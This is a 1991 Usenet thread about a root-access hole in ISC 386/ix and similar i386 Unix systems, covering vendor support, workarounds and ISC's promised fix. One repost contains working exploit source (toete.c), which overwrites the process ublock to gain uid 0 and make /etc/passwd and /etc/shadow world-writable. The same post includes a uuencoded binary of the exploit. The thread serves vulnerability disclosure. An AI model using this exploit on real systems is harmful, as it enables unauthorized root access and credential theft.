{att,cs.utexas.edu,pyramid!daver}!ssbn.wlk.com!bill internet bill@ssbn.WLK.COM or attmail!ssbn!bill
bill@ssbn.WLK.COM (Bill Kennedy) (02/14/91)
I've made my point in an earlier article so I'll trim this and limit comments to the inflamed nerve that everyone should have wagging by now. chris@alderan.uucp (Christoph Splittgerber) writes: [ repeats the bug claim and calls it a SECURITY ABYSS... ] > >I don't like ISC's upgrade provision clauses and I don't wana pay for this >bugfix. > >So what to do now ? ..... -:( -:( -:( A question that has gone unanswered from time to time is if we have no support (extortion) agreement, how do we report bugs and learn of fixes. This one seems to have been reported adequately, reproduced and confirmed, Why the silence about a fix? Oh... OK, I didn't buy a support agreement. What we're failing to recognize is that this feature was constructed as a bomb shelter some time ago. It was only recently converted to a hardened command and control facility but nobody told those of us who were inside. -- Bill Kennedy usenet {att,cs.utexas.edu,pyramid!daver}!ssbn.wlk.com!bill internet bill@ssbn.WLK.COM or attmail!ssbn!bill
wcr@tree.metrolink.com (W.c. Rothanburg) (02/14/91)
In article <6A5NSZK@dobag.in-berlin.de> lumpi@dobag.in-berlin.de (Joern Lubkoll) writes: marc@jahangir.UUCP (Marc Rossner) writes: >> In article <1991Feb11.184130.11321@jwt.UUCP> john@jwt.UUCP (John Temples) writes: >> >Yikes. This also works on ESIX-D without a coprocessor, and on ISC 2.0.2 >> >*with* a coprocessor. It failed on Microport 2.2 with a coprocessor. >> >Now, the question is, what do we do to protect ourselves in the meantime? >Works like a charm on ISC 2.2 with a 486 -- good thing the only people >over here that read this newsgroup already know the root password. >"Feature", indeed! Hope ISC hears a lot about this, if anyone can ever >get past the 15 minutes it takes their telephone guy to locate you in his >files before he'll let you discuss anything real. Set UAREAUS and UAREARW to zero and it won't work any more ! But this works onlu on ISC 2.2 and not on 2.02. No 2.02 system can be protected ! The only problem with setting UAREAUS and UAREAW to zero is you cannot do any floating point operations without a co-processor. (I don't have a co-processor to try it with... <sigh>) We (at Metro Link) have found the AT&T Unix/386 appears to have the same problem. (I heard this second hand and don't know from whom.) Bill -- Who : Metro Link, Inc. What : X11.R4. for ISC Unix 386/ix, SCO Unix/386, and Everex ESIX Where: 2213 West Mc Nab Road, Pompano Beach,FL 33069 Sales: sales@metrolink.com Email: wcr@metrolink.com Phone: +1 305 970 7353 x927 Fax : +1 305 970 7351
jrh@mustang.dell.com (James Howard) (02/14/91)
In article <1991Feb13.192107.8135@digibd.com>, rhealey@digibd.com (Rob Healey) writes: > In article <1991Feb12.052336.29639@motcad.portal.com> jtc@motcad.portal.com (J.T. Conklin) writes: > >>Now, the question is, what do we do to protect ourselves in the meantime? > >If I remember correctly, Sun Microsystems sent out a fixed version of > >sendmail to its customer base free of charge the week after the Internet > >Worm Attack. I see no reason why we should expect less from the i386 > >UNIX vendors. In my opinion, any vendor that doesn't respond to this > >problem with the attention it is due, doesn't deserve to be in business. > > > > I'd consider extending this to any vendor that didn't catch this > BEFORE the system was shipped doesn't deserve to be in business. > > HOW can the QA dept. of ANY UNIX system miss a bug of this > magnitude? After all, they should have had unexplained system > panics when the test that scribbles over all of a USER mode virtual > address space to check MMU problems scribbles all over the ublock... Good question. I have tried the program posted earlier on both Dell SVR3.2 (which is ISC 2.0.2 based) and Dell SVR4.0 (not in any way related to ISC ;-) ). It core dumps faithfully on both. James Howard Dell Computer Corp. !'s:uunet!dell!mustang!jrh (512) 343-3480 9505 Arboretum Blvd @'s:jrh@mustang.dell.com Austin, TX 78759-7299
aschaffe@polyslo.CalPoly.EDU (JedHead) (02/14/91)
So then martys@ism.isc.com announced: > >For all other users, INTERACTIVE Systems Corp. will provide a >comprehensive fix to the problem. [...] > As with all INTERACTIVE bug-fix diskettes, it will be >available free of charge through the Support department. > >Interactive Systems Corp. Huge kudos going out to the person who alerted the net to the Security Hole.. I, too, had some reservations at first about the propriety of releasing that information "to the world", but quickly realized that it was a sure-fire way to get a reaction from the vendors... A 3-day cycle from the "Hey, ISC!" message to an announcement of a free bug fix is something to be impressed with.. Allan aschaffe@polyslo.calpoly.edu -- A top Mideast expert at a major American university pointed out that there is one final chance for a diplomatic solution to the Persian Gulf crisis that hasn't been tried. The United States must send a message to Saddam Hussein saying "SIMON SAYS get out of Kuwait."
davidg@aegis.UUCP (Dave McLane) (02/14/91)
> It's going to be very interesting to see how fast ISC responds to this > now... As a sample of how "fast" ISC responds, I have been trying for a month to get them to send me a replacement for the disk that was supposed to update my $2149 Architech Developer to Multi-User. The disk got an Uncorrectable data read error, not doubt because the little cutout for the timing signal hole was running around loose in the disk which happened to drop out on my foot when I pulled the disk out ... "Eh, what's that. Oh shit!" They won't send me a new disk as they claim that I can't possibly have the disk as the registration number doesn't include multi-user, even though I faxed them the invoice from Programmer's Connection where I bought it which clearly states that I have. Fortunately, Michele Steiner at Prog. Con. was a bit more understanding and has said that she ISC will send her a disk (in a week) and she will mail it to me. Kudos to Michele, and a big Bronx cheer to ISC. New, but related subject: when ISC fires up after the login it puts this really grotesque series of lines about copyrights and such which I would like to get rid of. Anybody know if this is possible? --Dave ==== The Aegis Society ============================================= Minami Hirao 1-6, Imazato The content and process of Nagaokakyo-shi, Kyoto-fu, 617 Japan international/cultural Tel: +81-75-951-1168 Fax: +81-75-957-1087 communication. ====================================================================
chip@chinacat.Unicom.COM (Chip Rosenthal) (02/14/91)
<<< extreme heresy alert >>> In article <6913@rsiatl.Dixie.Com> jgd@Dixie.Com (John G. DeArmond) writes: >I say "THANK YOU" to all the people involved. The system of free flowing >information work again. John - let me take this a step further. I'm concerned about the bug, but there are other things which worry me more. Granted, this is a horrendous problem. But it is one of a transient nature. It will get fixed, and it will get fixed fairly quickly. What bothers me is the total, absolute breakdown of the ISC support mechanism. Bug reporting through whistleblowing is not acceptable. It troubles me deeply that the entire world has to be rallied to get a bug fixed. Furthermore, if the ISC support mechanism is incapable of handling a bug of this magnitude, I shudder to think how the 99.999% bugs of lesser severity are handled. There is a technical issue which must be addressed, and must be addressed fast. Beyond that, there exists a management issue of a very troubling nature. ISC owes its users a fix. More importantly, ISC owes its users some corrective action. ISC's support is broken and needs to be fixed. I hope when the bug fix is released, we are also provided a corrective action plan by which ISC will fix its support. Currently, Unicom Systems uses one vendor's 3.2 UNIX on 386 boxen. Over the next few months, we will be sorting out our strategy towards a next generation UNIX. I hate to sound cavalier about this problem, but the existence of this bug is not a knockout blow for my evaluations. The fact that ISC's support mechanism has broken down is a knockout. And I can't help but feel there are other folks out there trying to figure out what comes after 3.2. Oh...and to the person who dragged C2 into this. The access requirements of C2 would not prevent this problem - although they might restrict what you can do once you've got your UID of zero. Unfortunately, these restrictions also apply if you get a UID of zero through legitimate means, e.g. `su'. That is the Secureware stuff SCO shoves down your throat and ISC offers as an option would pass on the same damn inconveniences no matter how you get your UID of zero - legitimately or otherwise. C2 certifiabilty is no panacea. In fact, even with SCO's Secureware, you can get root access in 8 seconds if you drop the `mesg n' from /.profile. Secureware doesn't help the fact that remote.unknown is distributed with the wrong permissions, thus allowing unknown systems uucp access. And if you fix this, you still won't get the breakins logged unless you go fixing logfile permissions. If UNIX is broken, no amount of C2 cruft is going to fix it. -- Chip Rosenthal 512-482-8260 | Unicom Systems Development | I saw Elvis in my wtmp file. <chip@chinacat.Unicom.COM> |
mhoffos@janus.mtroyal.ab.ca (02/14/91)
In article <529@jahangir.UUCP>, marc@jahangir.UUCP (Marc Rossner) writes: >> In article <1991Feb11.184130.11321@jwt.UUCP> john@jwt.UUCP (John Temples) writes: >> >Yikes. This also works on ESIX-D without a coprocessor, and on ISC 2.0.2 >> >*with* a coprocessor. It failed on Microport 2.2 with a coprocessor. >> >Now, the question is, what do we do to protect ourselves in the meantime? > > Works like a charm on ISC 2.2 with a 486 -- good thing the only people > over here that read this newsgroup already know the root password. > "Feature", indeed! Hope ISC hears a lot about this, if anyone can ever > get past the 15 minutes it takes their telephone guy to locate you in his > files before he'll let you discuss anything real. > > Marc Rossner > jahangir!marc@uunet.uu.net The bug bites on a 486 under ESIX Rev. D too ... if anyone figures out a workaround it would be much appreciated; has anyone spoke with Everex yet? Mike Hoffos -- mhoffos@janus.mtroyal.ab.ca (Mount Royal College is a community college in Calgary, Alberta) Disclaimer: Mount Royal College doesn't speak for me, and I *certainly* don't speak for it.
lumpi@dobag.in-berlin.de (Joern Lubkoll) (02/14/91)
Because of myself gettings lots of mail about my posting not comeing
through to some sites, here is another repost. Whoever eats this posting
should be aware of being a news-censor !
--------- ORIGINAL POSTING FOLLOWS -----------
It was a long process of thoughts about this, but now, after half
a year of disput with interactive, here it finally is:
--- jl
Hello you at Interactive Systems Coporation !
it seems that your very cute interactive unix System has a nice bug !
EVERYONE you has access to a shell and a compiler or an interactive
System at home (to upload binaries) CAN BECOME ROOT.
It seems that you programmers aren't able to programm the 386 protected
mode correct. It exists the possibillity to write protect segment and
pages... It would be very useful to write protect the internatl data-
structures whicht the system uses to store information about the user.
Offering the ability to write in these segments is just like offering
CIA - Identity cards per mail-order for everyone (SALE $5).
If you don't believe... try the litte program down there and you'll see !
I didn't believe it either but ... see yourself !
I expect bug-fixes immediatly or my money back for the interactive
system... VERY soon please !
I have had a lot of conversation with 'Intra Unix' in Germany and a
lot of people at 'ico.isc.com' about the problem. They just told
me this being a only a 'feature' not a bug !
Simply said, it is a bug in the coprocessor emulation code, which
will allow system without a co-cpu to be broken, just because some
programmers aren't able to allocate their own buffers :-)
If you have a co-cpu and Release >= 2.2 you may set the kernel tuneable
parameters UAREAUS and UAREARW to 0 to protect yourself.
Dobag does not have this problem, due to it being a 486 System, but
there will be a lot of systems without a co-cpu !
There is only one way to fix this problem: Phone Interactive or your
Distributor and get very angry !
Next follows toete.c, the program to kill any isc system not being
equipped with a co cpu.
--- CUT HERE --- CUT HERE --- CUT HERE --- CUT HERE --- CUT HERE --- CUT HERE
/* If you use Interactive Unix 2.2 uncomment the following line */
/* #define ISC22 */
#include <stdio.h>
#ifdef ISC22
#include <sys/limits.h>
#include <sys/unistd.h>
#else
#include <limits.h>
#include <unistd.h>
#endif
#include <sys/sysi86.h>
#include <sys/signal.h>
#include <sys/types.h>
#define ushort unsigned short
#define ulong unsigned long
#include <sys/fs/s5dir.h>
#include <sys/user.h>
main()
{
struct user *dumm;
/* 0xE0000000 is the virtual adress of the ublock for the current
running programm. */
dumm = (struct user *) 0xE0000000;
/* Here we are so kind to change our effective and real user id
to zero, which means, that we can do whatever we want... */
dumm-> u_uid = 0; /* A well programmed system has to give a
segmentation oder protection violation
error at this line. But don't expect
Interactive Unix to do so... */
dumm-> u_gid = 0;
dumm-> u_ruid = 0;
dumm-> u_rgid = 0;
/* What would be the first thing you want to do if you become root
on another system ? */
chmod ("/etc/passwd",(int) 0666);
chmod ("/etc/shadow",(int) 0666);
/* If you don't believe what I say, uncomment the following line: */
/* execl("/bin/sh","sh","-c","/bin/ls -l /etc/passwd",(char *) 0); */
}
--- END OF toete.c ---
For those, which won't believe, here is a uuencoded version of the
binary 'toete'.
table
!"#$%&'()*+,-./0123456789:;<=>?
@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_
begin 644 toete
M3 $$ *+Q%"< !P #P$+ 0 S ( #P" U - "<z
M T +G1E>'0 #0 T ,P" #0 ( "YDy
M871A G - )P#0 \ @ G , $ N8G-S x
M -@%0 #8!4 " +F-O;6UE;G0 w
M #8!0 ( ,.0D)"#[ B+[(M%"(U4A1")v
M%9P#0 !2C54,4E#HW____VH Z) "#Q 3H' (/$#%#H<P( &H N $ u
M ": < ],.0D)#K2\=%_ ."+1?QFQX#J$ "+1?QFQX#L$ t
M "+1?QFQX#N$ "+1?QFQX#P$ !HM@$ &B@ T Z P "#Q C)s
MPU6+[%#KKY"X#P )H !P /@NX! SP,.0D)!5B^R![(0" !75K[_r
M____@WT( '4Q:+0%0 #HP %F%P(E%"'0)BT4(B@"$P'46@#VP!4 '0&q
M,\!>7\G#QT4(O05 ,8%L 5 !HPP5 (U%@%#H6 $ (/$"/]U"(U%CE#Hp
M20$ (/$"&H C46 4.@3 0 @\0(A<"+^'P^: (" "-A7[]__]05^@, 0 o
M@\0,/0(" !U&V@" @ C85^_?__4&BL T Z+0 "#Q PS]E?H"0 %F+n
MQEY?R<.0D+@& F@ ' ^"#@$ #/ PY"0D%6+[%=64XM]"(L=G - m
M (7;=24SP%M>7\G#D)#_,X/#!%?H&0 (/$"(7 B_!T"(O&6UY?R<.0@SL l
M==_KU)!5B^Q75HM]"(MU#.L.D)"0#[X'1ST] =!P/O@</OA9&.\)TZHH'k
MA,!U% ^^1O\]/0 '4)B\9>7\G#D)"0,\!>7\G#D)!75HM\) R+="00BTPDj
M%(O'B]'!Z0+SI8O*@>$# \Z1>7\.X!0 )H !P /@DH ##D+@#i
M F@ ' ^"-@ ,.05XO6BWPD##/ N?_____RKO?1BW0D#(M\) B+h
MP<'I O.EB\B!X0, #SI(M$) B+\E_#D*/4!4 N/_____#D.@7 BU0Dg
M!+@! F@ ' ^"V?___\/#D)"0 "]E=&,O<&%S<W=D @(" @f
M(" @(" H*"@H*" @(" @(" @(" @(" @(" @($@0$! 0$! 0$! 0$! 0$!"$e
MA(2$A(2$A(2$$! 0$! 0$(&!@8&!@0$! 0$! 0$! 0$! 0$! 0$! 0$!$! 0d
M$! 0@H*"@H*" @(" @(" @(" @(" @(" @(" @(0$! 0( c
M b
M a
M ! @,$!08'" D*"PP-#@\0z
M$1(3%!46%Q@9&AL<'1X?("$B(R0E)B<H*2HK+"TN+S Q,C,T-38W.#DZ.SP]y
M/C] 86)C9&5F9VAI:FML;6YO<'%R<W1U=G=X>7I;7%U>7V!!0D-$149'2$E*x
M2TQ-3D]045)35%565UA96GM\?7Y_ w
M v
M u
M $ !#2%)#3$%34P!A<V-I:0 O;&EB+V-H<F-Lt
+87-S+P s
r
end
--- END ---
JUST HAVE FUN !
mfg. JL
--
lumpi@dobag.in-berlin.de -- "Nothing is the complete absence of everything."lumpi@dobag.in-berlin.de (Joern Lubkoll) (02/14/91)
chris@alderan.uucp (Christoph Splittgerber) writes: >In article <KR3NBQQ@dobag.in-berlin.de> lumpi@dobag.in-berlin.de (Joern Lubkoll) writes: >>it seems that your very cute interactive unix System has a nice bug ! >Oh my god - its really true. (on my ISC 2.0.2 *with* co-proc.) 2.02 cannot be made secure. Only 2.2 can be made secure with co-cpu and setting UAREAUS and UAREARW to zero. jl >While we've all been discussing security holes in the file-system and >talked about SUID and SGID and all that stuff there is a way to break >everything and it's so goddam easy that it's hard to believe it. >It's not a security hole, it's a SECURITY ABYSS. so it is ! >I don't like ISC's upgrate provision clauses and I don't wana pay for this >bugfix. i don't want to pay anything too ! And a lot of others won't pay too, I hope ! >So what to do now ? ..... -:( -:( -:( refer to alt.suicide jl -- lumpi@dobag.in-berlin.de -- "Nothing is the complete absence of everything."
ken@metaware.metaware.com (ken) (02/14/91)
In article sef@kithrup.COM (Sean Eric Fagan) writes: -In article bekesy@uhccux.uhcc.Hawaii.Edu (Bekesey Lab) writes: ----Now, the question is, what do we do to protect ourselves in the meantime? ---Get SCO. [...] --Please keep your mindless SCO chauvinism to yourself. - -Gee, that's funny. When people complain all about SCO's problems, and other -people respond with "Get ISC or ESIX," I don't see you complaining about -that. Sean, I think you got flammed for posting a rather blatent advertisement for SCO. Most people probably know that you work there and that you have rather biased opinions about SCO's products. That type of posting is generally frowned upon. -- Ken "DOS by any other name will still be a kludge" Chapin internet: ken@metaware.com uucp: ...!{ucscc|uunet}!metaware!ken
brando@uicsl.csl.uiuc.edu (Brandon Brown) (02/15/91)
davidg@aegis.UUCP (Dave McLane) writes: >> It's going to be very interesting to see how fast ISC responds to this >> now... >As a sample of how "fast" ISC responds, I have been trying for a >month to get them to send me a replacement for the disk that was >supposed to update my $2149 Architech Developer to Multi-User. The >disk got an Uncorrectable data read error, not doubt because the >little cutout for the timing signal hole was running around loose >in the disk which happened to drop out on my foot when I pulled the >disk out ... "Eh, what's that. Oh shit!" Dave, sorry you have had a "bad experience" with ISC. I have never had anything but GREAT response, even a time when I trashed my install diskette 4 times before moving my 16-bit video card to an 8-bit slot. (Terrible fix, I know, but all I wanted to do was get a working system going.) On each occasion I received a replacement install disk UPS RED. As for technical support, I have been supported well, even after the announce- ment of the "response" contracts. I subscribed to the "Response ix" section so I can get the updates for one cost, but I would agree that I think that is bogus. I think the people should pay for the shipping and the cost of the diskette, but we shouldn't have to pay for engineering on a "bug" fix... Just my $0.02 worth. Brandon +-----------------------------------------------------------------------------+ | Brandon Brown | Internet: brando@uicsl.csl.uiuc.edu | | Coordinated Science Laboratory | UUCP: uiucuxc!addamax!brando!brown | | University of Illinois | CompuServe: 73040,447 | | Urbana, IL 61801 | GEnie: macbrando | +-----------------------------------------------------------------------------+
jgd@Dixie.Com (John G. DeArmond) (02/15/91)
bill@ssbn.WLK.COM (Bill Kennedy) writes: >first place, who cares? Well damn it! I care! Maybe I care too much and >have a gatekeeper to keep joy riders out, but I think that each and every one >of you should care and should care more than I do. On the other hand, maybe >we are just hobby players, maybe these systems are toys, don't produce any >meaningful work, cost $$ within discretionary budgets, or we're just amateurs >who don't understand the consequences of a rogue with root permissions. Boy, you see everything on this network. Bill, how in the world did you work your logic around from delivering a deserved flame to Interactive and others to flaming users who've not publicly gone on afterburner over the issue? Could it be that the spat of silence from many people who normally would be at Dresden incendiary levels by now is because their lawyers have told them to keep their mouths shout while they prepare cases? John -- John De Armond, WD4OQC | "Purveyors of speed to the Trade" (tm) Rapid Deployment System, Inc. | Home of the Nidgets (tm) Marietta, Ga | {emory,uunet}!rsiatl!jgd |"Politically InCorrect.. And damn proud of it
mburg@unix386.Convergent.COM (Mike Burg) (02/15/91)
In article <27B93F44.5606@tct.uucp>, chip@tct.uucp (Chip Salzenberg) writes: > According to jpp@specialix.co.uk (John Pettitt): > >We have confirmed that this does indeed work on ISC 2.2 and that SCO > >unix does `the right thing' (tm) and core dumps the application. > > It is good to see that SCO's engineers, unlike those at ISC and > Everex, have an effective grasp on the basic principles of memory > protection covered in the first semester of OS design class. A two sided coin problem... From a view of a person who has work for various Unix system houses - you can't really blame ISC, ESIX, or any other vendors that current has the bug in it's release. I think the blame should be placed on AT&T. They are the ones who are (were) shipping the base source with the bug. Most AT&T UNIX vendors typically only concentrate on adding more options to the system (i.e. X-Windows, more controller card support, networking). They usually don't looking into rats mazes like memory managment. Now, look it from the vendors eye's - You'd be expecting for AT&T to ship a somewhat "secure" (if you can call it that) product, without serious holes like this one. Logical conculsion - concentrate on value and price. But after this, I guess not. There's only so much a systems house can concentrate on, and some of them are poorly understaffed. ON THE OTHER HAND, since you are buying a product from the vendors, you'd *EXPECT THEM* to sell you a stable product. Kinda of like selling you a new car, then having it going out of control because your kid decided to change the radio station. Face it folks, all versions of Unix for the PC have problems of some kind. (Just a matter of what size the explosion will be when it goes off in your face) It ain't no Ginsu knive offer - ("It dices, it slices, it's a mutlitasking OS and a teeth cleaner! And if you order now you'll receive....") -- ---------------------------------- Michael Burg - Unisys/Convergent Corp. Unix Intel Platforms Division San Jose Phone: (408) 456-5934 UUCP: uunet!pyramid!ctnews!unix386.Convergent.com!mburg
sef@kithrup.COM (Sean Eric Fagan) (02/15/91)
In article <1991Feb14.142947.1777@metaware.metaware.com> ken@metaware.UUCP (ken) writes: >I think you got flammed for posting a rather blatent advertisement for SCO. >Most people probably know that you work there and that you have rather biased >opinions about SCO's products. That type of posting is generally frowned >upon. Paraphrasing from some posts a couple of months ago: "SCO UNIX isn't real UNIX. The C2 braindamagedness breaks it. I suggest you buy ISC or ESIX instead, which don't have this problem." Such sentiments were expressed many times. The fact that I work at SCO is irrelevent. SCO UNIX does not have the bug that was described, and, in fact, has never had it (nor will it ever; we won't have to worry about something slipping through the cracks and reintroducing it, nor will we have to worry about how many of our sites out there have it, etc.). For that reason, I answered, 'How do we fix it?' with 'get SCO UNIX,' the same way other people have answered, 'How do we get rid of C2 in SCO' wtih 'Buy ISC [or esix, or dell, or sysvr4, etc].' I say that as a satisfied user of sco *nix, not as an employee of sco. If I were saying it as an employee, I would have posted it from work, not home. Or did you and the pseudo-account fail to notice that there was no 'sco.com' in the address of my posting? -- Sean Eric Fagan | "I made the universe, but please don't blame me for it; sef@kithrup.COM | I had a bellyache at the time." -----------------+ -- The Turtle (Stephen King, _It_) Any opinions expressed are my own, and generally unpopular with others.
sef@kithrup.COM (Sean Eric Fagan) (02/15/91)
In article <1991Feb13.221259.1462@scuzzy.in-berlin.de> src@scuzzy.in-berlin.de (Heiko Blume) writes: >not exactly, for public access to my source archive i've set up >a chroot() user that can't write anywhere, unhackable :-) Sorry, that's not the case. Once you've got root access, you can go through and do lots of nasty things, including setting u.u_rdir to something useful, like '/'. Figuring out how to do so is left as an excercise for the reader. -- Sean Eric Fagan | "I made the universe, but please don't blame me for it; sef@kithrup.COM | I had a bellyache at the time." -----------------+ -- The Turtle (Stephen King, _It_) Any opinions expressed are my own, and generally unpopular with others.
wengland@stephsf.stephsf.com (Bill England) (02/15/91)
In article <1854@chinacat.Unicom.COM> chip@chinacat.Unicom.COM (Chip Rosenthal) writes: > [...] >fixing logfile permissions. If UNIX is broken, no amount of C2 cruft is >going to fix it. True. Presumeably when you purchase the rights to use SecureWare's tools they give you a _test_suite_ of ice-breaking software that tests for security bugs on your system. It would be bad advertising indeed to certify a system C2 and then have this bug unvieled. :-) As for the Uucp I believe that having strict C2 requires NOT using UUCP and disallowing ftp. I'm not sure if TCP/IP would be considered a C2 security violation and even running an xterm may be a problem. -- +- Bill England, wengland@stephsf.COM -----------------------------------+ | * * H -> He +24Mev | | * * * ... Oooo, we're having so much fun making itty bitty suns * | |__ * * ___________________________________________________________________|
tron1@tronsbox.xei.com (Kenneth Jamieson) (02/15/91)
an someone please mail me the test program ??? I have a wierd co-proc in my 387 (a '287) and I need to know if I am safe or not. -- ========[ Xanadu Enterprises Inc. Amiga & Unix Software Development]======= = "I know how you feel, you don't know if you want to hit me or kiss me - = = --- I get a lot of that." Madonna as Breathless Mahoney (Dick Tracy) = =========== Ken Jamieson: uunet!tronsbox.xei.com!tron1 =================== = NONE of the opinions represented here are endorsed by anybody. = === The Romantic Encounters BBS 201-759-8450(PEP) / 201-759-8568(2400) ====
john@jwt.UUCP (John Temples) (02/15/91)
In article <15126@uudell.dell.com> jrh@mustang.dell.com (James Howard) writes: >I have tried the program posted earlier on both Dell >SVR3.2 (which is ISC 2.0.2 based) and Dell SVR4.0 (not in any way >related to ISC ;-) ). It core dumps faithfully on both. Based on what I've read here (not just in regards to the security hole), I'm starting to get the feeling that Dell is the only UNIX vendor that has its act together. I think I might just buy Dell's SVR4.0 even though upgrading my ESIX will probably be cheaper. -- John W. Temples -- john@jwt.UUCP (uunet!jwt!john)
sef@kithrup.COM (Sean Eric Fagan) (02/15/91)
In article <6027@unix386.Convergent.COM> mburg@unix386.Convergent.COM (Mike Burg) writes: >I think the blame should be placed on AT&T. They are the >ones who are (were) shipping the base source with the bug. Most AT&T UNIX >vendors typically only concentrate on adding more options to the system >(i.e. X-Windows, more controller card support, networking). They usually >don't looking into rats mazes like memory managment. On the other hand, the three companies involved in porting SysVr3.2 to the '386 were (to the best of my knowledge, mind you) AT&T, Intel, and ISC. Although I will not name names, I will comment that someone whose opinion I respect very much has laid the blame on intel for this. That is hearsay, though, so take it with a grain of salt. >You'd be expecting for AT&T to ship a somewhat "secure" (if >you can call it that) product, without serious holes like this one. Logical >conculsion - concentrate on value and price. Someone commented that AT&T fixed it in their 3.2.1 product; should I take this discussion to alt.conspiracy? 8-) 8-) 8-) -- Sean Eric Fagan | "I made the universe, but please don't blame me for it; sef@kithrup.COM | I had a bellyache at the time." -----------------+ -- The Turtle (Stephen King, _It_) Any opinions expressed are my own, and generally unpopular with others.
bekesy@uhccux.uhcc.Hawaii.Edu (Bekesey Lab) (02/15/91)
In article <1991Feb14.004122.1564@ism.isc.com> martys@ism.isc.com writes: } [...] } } For all other users, INTERACTIVE Systems Corp. will provide a } comprehensive fix to the problem. It will be provided as an } update (bug-fix) diskette to users of 386/ix Version 2.0.2, } INTERACTIVE UNIX Version 2.2.1, and the C2 Security Extension. } For Version 2.2 users without a math coprocessor, call into } Warranty support, (213) 453-8649 and ask for the free upgrade } to Version 2.2.1 as well as the 2.2.1 security-hole bug-fix } diskette. As with all INTERACTIVE bug-fix diskettes, it will be } available free of charge through the Support department. This is an URGENT problem. Are you going to force us to suffer through your blasted "support" phone, and wait for disks to be mailed!? Or are you going to post the fix like the reasonable outfits do?
chris@alderan.uucp (Christoph Splittgerber) (02/15/91)
In article <P46NPCO@dobag.in-berlin.de> lumpi@dobag.in-berlin.de (Joern Lubkoll) writes: >chris@alderan.uucp (Christoph Splittgerber) writes: >>In article <KR3NBQQ@dobag.in-berlin.de> lumpi@dobag.in-berlin.de (Joern Lubkoll) writes: >>It's not a security hole, it's a SECURITY ABYSS. >so it is ! >[] >>So what to do now ? ..... -:( -:( -:( >refer to alt.suicide I don't know how much work it will be for ISC to fix this for 2.0.2 but as an alternative to alt.suicide I can think of a way that would make at least a few people feel more secure again. If they just release the changes they made to 2.2, then at least the people with a co-proc. (like me) could help theirself. Chris -- ************************ Brain fault (core dumped) ************************* Replies-To: chris@alderan.uucp UUCP: uunet!mcsun!unido!alderan!chris Phone: +49 711 344375 Fax: +49 711 3460684
tim@dell.co.uk (Tim Wright) (02/15/91)
In <1991Feb14.201602.21248@kithrup.COM> sef@kithrup.COM (Sean Eric Fagan) writes: >In article <1991Feb13.221259.1462@scuzzy.in-berlin.de> src@scuzzy.in-berlin.de (Heiko Blume) writes: >>not exactly, for public access to my source archive i've set up >>a chroot() user that can't write anywhere, unhackable :-) >Sorry, that's not the case. Once you've got root access, you can go through >and do lots of nasty things, including setting u.u_rdir to something useful, >like '/'. Figuring out how to do so is left as an excercise for the reader. I think the point being made was that under that setup, how could you become root ?? Without write-access to directories, you can't create the program needed to break the system. As he said, unhackable (at least w.r.t. the bug under discussion). Tim -- Tim Wright, Dell Computer Corp. (UK) | Email address Bracknell, Berkshire, RG12 1RW | Domain: tim@dell.co.uk Tel: +44-344-860456 | Uucp: ...!ukc!delluk!tim "What's the problem? You've got an IQ of six thousand, haven't you?"
lumpi@dobag.in-berlin.de (Joern Lubkoll) (02/15/91)
davidg@aegis.UUCP (Dave McLane) writes: >New, but related subject: when ISC fires up after the login it puts >this really grotesque series of lines about copyrights and such >which I would like to get rid of. Anybody know if this is possible? use a binary editor and patch zero-bytes at beginning of the copyright strings, they will never be seen again.. jl -- lumpi@dobag.in-berlin.de -- "Nothing is the complete absence of everything."
pax@megasys.com (Garry M. Paxinos) (02/15/91)
In article <27b9fc7e.3f86@petunia.CalPoly.EDU> aschaffe@polyslo.CalPoly.EDU (JedHead) writes:
Huge kudos going out to the person who alerted the net to the Security
Hole.. I, too, had some reservations at first about the propriety of
releasing that information "to the world", but quickly realized that it
was a sure-fire way to get a reaction from the vendors...
Agreed!! My hat's off to Joern!
A 3-day cycle from the "Hey, ISC!" message to an announcement of a free
bug fix is something to be impressed with..
But I do not agree on this... considering the original poster apparently
spent 6 months trying to get ISC to do something about this...
For referneces, here is the statement in the ISC 2.2 release notes on page
10:
' * A new tunable parameter has been added to prevent users from
writing to the ublock of ther own processes. By setting the
value of UAREAUS and UAREARW to 0 instead of the default,
1, users can be prevented from changing their effective user
identifications (UID). Refer to the "INTERACTIVE UNIX
Operating System Maintenance Procedures" for more informa-
tion on setting tunable parameters '
Obviously they knew about it in 2.2, and proceded to NOT do anything to
fix it when they released the 2.2.1 update. If anything, I am impressed with
their sheer stupidity. Gee, I'm really glad it only took them 3 days to
admit to a gapping security hole when it was printed in their 2.2 release
notes almost a year ago...
We have systems Nuclear Power Plants! Besides not wanting the general
operations people to have root access, these systems also have modems! Need
I say more?!
pax.
--
E-Mail:pax@megasys.com pax@ankh.ftl.fl.us gmp@pinet.aip.org
USNail:Megasystems, Inc. 2055 South Congress Ave, Delray Beach, FL 33445
UUCP :{gatech!uflorida!novavax!ankh, mthvax, shark, attmail}!megasys!pax
Voice :407-243-2405 Data: 407-243-2407 Fax: 407-243-2408 Telex: 156281499src@scuzzy.in-berlin.de (Heiko Blume) (02/15/91)
sef@kithrup.COM (Sean Eric Fagan) writes: >In article <1991Feb13.221259.1462@scuzzy.in-berlin.de> src@scuzzy.in-berlin.de (Heiko Blume) writes: >>not exactly, for public access to my source archive i've set up >>a chroot() user that can't write anywhere, unhackable :-) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ >Sorry, that's not the case. Once you've got root access, you can go through >and do lots of nasty things, including setting u.u_rdir to something useful, >like '/'. Figuring out how to do so is left as an excercise for the reader. once you've got root access, yes, but you can get root access. the only thing that that user can do is *read* files, nothing else. the only commands available are ls, sz, zmore and tar. try figuring out how to become root with this as a long lasting excercise. -- Heiko Blume <-+-> src@scuzzy.in-berlin.de <-+-> (+49 30) 691 88 93 public source archive [HST V.42bis]: scuzzy Any ACU,f 38400 6919520 gin:--gin: nuucp sword: nuucp uucp scuzzy!/src/README /your/home
root@tndsyd.oz.au (the main man) (02/15/91)
Qote from local distributer in Australia: "Oh yes I know about that problem, but doesn't it exist in all UNIX systems ?" You guys think you got problems !!!!
pax@megasys.com (Garry M. Paxinos) (02/15/91)
In article <6027@unix386.Convergent.COM> mburg@unix386.Convergent.COM (Mike Burg) writes:
A two sided coin problem...
Quite true..
From a view of a person who has work for various Unix system houses -
you can't really blame ISC, ESIX, or any other vendors that current has the
bug in it's release. I think the blame should be placed on AT&T. They are the
ones who are (were) shipping the base source with the bug. Most AT&T UNIX
vendors typically only concentrate on adding more options to the system
(i.e. X-Windows, more controller card support, networking). They usually
don't looking into rats mazes like memory managment. Now, look it from the
vendors eye's - You'd be expecting for AT&T to ship a somewhat "secure" (if
